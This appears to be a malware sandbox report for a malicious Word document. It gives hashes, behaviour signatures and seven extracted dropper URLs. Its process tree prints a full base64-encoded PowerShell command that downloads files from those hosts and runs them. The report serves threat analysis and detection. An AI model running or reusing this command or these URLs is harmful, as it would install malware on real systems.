Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
112s -
max time network
109s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
-
submitted
15/06/2024, 14:23
General
-
Target
aed66aad3586a27f08fbc479fdeccc94_JaffaCakes118.doc
-
Size
218KB
-
MD5
aed66aad3586a27f08fbc479fdeccc94
-
SHA1
1aa8cd8065bcee35a75453d6afaabff6768466cf
-
SHA256
bc4b778fbb93e353944a23ec652f31f6f0dd58e0354b512c2ef4712fb5f3bd4b
-
SHA512
491427d2a61e8ee9e1be23b980bfc1202a03de8145ff90116039f9c160900963a38591fa26db7ff493b9b0a0299083a6dab5576c8ff1ff8bde69b30c93380f5c
-
SSDEEP
3072:vYy0u8YGgjv+ZvchmkHcI/o1/Vb6///////////////////////////////////8:x0uXnWFchmmcI/o1/X+pDw3n
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://somosdrucken.com/upload/GGQL96W/
exe.dropper
http://www.vedigitize.com/wp-includes/l9K6YJ/
exe.dropper
http://www.sosyalben.org/hpKTnb/
exe.dropper
http://www.sutomoresmestaj.net/menu/E/
exe.dropper
http://www.traveltoharamain.com/cgi-bin/b/
exe.dropper
http://www.thinkdesign4u.com/css/Rtc1/
exe.dropper
https://www.mwk-bionik.de/fileadmin/vOJ/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Suspicious behavior: AddClipboardFormatListener 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\aed66aad3586a27f08fbc479fdeccc94_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABJAGIAOQBqADAAYgB4AD0AKAAnAE0AbAAnACsAKAAnAGgAbQAxACcAKwAnADEAagAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgB2ADoAdABlAG0AcABcAFcAbwByAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQAaQBSAEUAQwB0AE8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABjAHUAcgBJAFQAYAB5AHAAUgBgAE8AVABgAG8AQwBvAEwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAJwArACgAJwAxACcAKwAnADIALAAgACcAKQArACcAdAAnACsAKAAnAGwAJwArACcAcwAxADEALAAnACkAKwAoACcAIAAnACsAJwB0AGwAcwAnACkAKQA7ACQATQByAGgAZQBkAGMAegAgAD0AIAAoACcATgAzACcAKwAnAHQAbgAnACsAKAAnAHIAOQAnACsAJwB6ACcAKQApADsAJABaAHIAdwByAHMAZwBsAD0AKAAoACcARgBmACcAKwAnAGQAcAAnACkAKwAnAHAAbQAnACsAJwBkACcAKQA7ACQATwAxAHAAcgA3ADMAcgA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACgAJwBYAGkAJwArACcAcQAnACkAKwAoACcAdwAnACsAJwBvAHIAZABYAGkAJwApACsAKAAnAHEAJwArACcAMgAwACcAKQArACgAJwAxADkAWABpACcAKwAnAHEAJwApACkALgAiAFIARQBwAGwAYABBAGMARQAiACgAKAAnAFgAaQAnACsAJwBxACcAKQAsACcAXAAnACkAKQArACQATQByAGgAZQBkAGMAegArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAEIAMAAwAHYAdgBlAGwAPQAoACcARgA4ACcAKwAnAHcAJwArACgAJwBtAHUAbQAnACsAJwA3ACcAKQApADsAJABSAGQANQBjAGMAOABwAD0ALgAoACcAbgBlAHcAJwArACcALQBvAGIAagAnACsAJwBlAGMAJwArACcAdAAnACkAIABuAGUAVAAuAFcAZQBCAGMATABpAEUATgB0ADsAJABVAHAAcwBkADkAegBsAD0AKAAoACcAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAOgAnACsAJwAvACcAKwAnAC8AcwBvACcAKwAnAG0AbwBzAGQAcgB1AGMAJwApACsAJwBrACcAKwAnAGUAbgAnACsAJwAuAGMAJwArACgAJwBvAG0AJwArACcALwAnACkAKwAoACcAdQBwAGwAbwAnACsAJwBhAGQAJwApACsAJwAvACcAKwAnAEcAJwArACgAJwBHAFEATAA5ACcAKwAnADYAJwArACcAVwAnACkAKwAoACcALwAqACcAKwAnAGgAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAnACkAKwAoACcALwB3AHcAdwAuAHYAZQAnACsAJwBkACcAKwAnAGkAJwApACsAJwBnACcAKwAoACcAaQB0ACcAKwAnAGkAJwApACsAKAAnAHoAZQAnACsAJwAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvACcAKwAnAHcAcAAtAGkAJwApACsAKAAnAG4AYwAnACsAJwBsAHUAZAAnACsAJwBlAHMAJwArACcALwBsACcAKQArACgAJwA5ACcAKwAnAEsANgAnACkAKwAoACcAWQAnACsAJwBKAC8AJwApACsAKAAnACoAaAB0AHQAJwArACcAcAAnACkAKwAnADoALwAnACsAJwAvAHcAJwArACgAJwB3AHcALgBzACcAKwAnAG8AJwApACsAKAAnAHMAJwArACcAeQBhAGwAYgAnACkAKwAoACcAZQAnACsAJwBuAC4AbwAnACkAKwAoACcAcgAnACsAJwBnAC8AJwApACsAJwBoACcAKwAoACcAcABLACcAKwAnAFQAbgBiACcAKQArACgAJwAvACcAKwAnACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwB3AHcAJwArACcAdwAnACkAKwAoACcALgBzAHUAdAAnACsAJwBvACcAKQArACcAbQAnACsAKAAnAG8AJwArACcAcgBlAHMAJwApACsAKAAnAG0AZQBzAHQAYQBqAC4AbgAnACsAJwBlACcAKwAnAHQALwBtAGUAJwArACcAbgB1ACcAKwAnAC8ARQAnACkAKwAoACcALwAqAGgAJwArACcAdAAnACsAJwB0AHAAOgAnACkAKwAoACcALwAvACcAKwAnAHcAJwApACsAJwB3AHcAJwArACcALgB0ACcAKwAoACcAcgBhAHYAZQAnACsAJwBsAHQAbwBoAGEAcgAnACsAJwBhAG0AJwArACcAYQBpAG4ALgAnACkAKwAoACcAYwBvAG0AJwArACcALwBjACcAKQArACcAZwAnACsAKAAnAGkAJwArACcALQBiAGkAJwApACsAJwBuACcAKwAoACcALwAnACsAJwBiAC8AKgBoACcAKQArACgAJwB0AHQAcAA6AC8AJwArACcALwAnACsAJwB3AHcAJwApACsAKAAnAHcAJwArACcALgB0ACcAKwAnAGgAaQBuACcAKQArACgAJwBrAGQAJwArACcAZQBzACcAKQArACgAJwBpACcAKwAnAGcAbgA0AHUALgBjACcAKQArACcAbwAnACsAJwBtAC8AJwArACcAYwAnACsAKAAnAHMAcwAnACsAJwAvAFIAdAAnACkAKwAoACcAYwAxACcAKwAnAC8AKgBoACcAKQArACcAdAB0ACcAKwAoACcAcABzADoAJwArACcALwAvAHcAJwApACsAKAAnAHcAJwArACcAdwAuAG0AJwApACsAKAAnAHcAawAtAGIAaQAnACsAJwBvACcAKwAnAG4AaQAnACkAKwAnAGsAJwArACgAJwAuACcAKwAnAGQAZQAvAGYAaQAnACsAJwBsAGUAYQBkACcAKQArACgAJwBtACcAKwAnAGkAbgAvAHYATwAnACsAJwBKAC8AJwApACkALgAiAFMAcABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASgA5AGsAcwBwAGcAMAA9ACgAKAAnAFoAMgAnACsAJwBlACcAKQArACcAdgAnACsAKAAnAHgAJwArACcANQA3ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQATgA4AHIAcABxAG4AdgAgAGkAbgAgACQAVQBwAHMAZAA5AHoAbAApAHsAdAByAHkAewAkAFIAZAA1AGMAYwA4AHAALgAiAGQATwB3AGAATgBsAE8AQQBgAGQAZgBpAGwARQAiACgAJABOADgAcgBwAHEAbgB2ACwAIAAkAE8AMQBwAHIANwAzAHIAKQA7ACQAUgBhAGwAcwAwAGUAcAA9ACgAJwBFACcAKwAnADcAagAnACsAKAAnAHcAdgBfACcAKwAnADcAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQATwAxAHAAcgA3ADMAcgApAC4AIgBsAEUAYABOAEcAdABoACIAIAAtAGcAZQAgADMANwA1ADYANAApACAAewAuACgAJwBJAG4AdgBvAGsAZQAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACgAJABPADEAcAByADcAMwByACkAOwAkAFMAYgByAGIAdwBkADgAPQAoACgAJwBSAHYANQBfACcAKwAnADEAJwApACsAJwBlACcAKwAnAG8AJwApADsAYgByAGUAYQBrADsAJABMAHkAdQBiAG4AcABqAD0AKAAoACcATABtACcAKwAnAHQAOQAnACkAKwAnAG0AJwArACcAMgBfACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwBsADgANABvAGYAYgA9ACgAKAAnAEsAcgBsACcAKwAnAHQAJwApACsAKAAnAHYANgAnACsAJwBwACcAKQApAA==1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
4KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
136KB
-
Filesize
2.0MB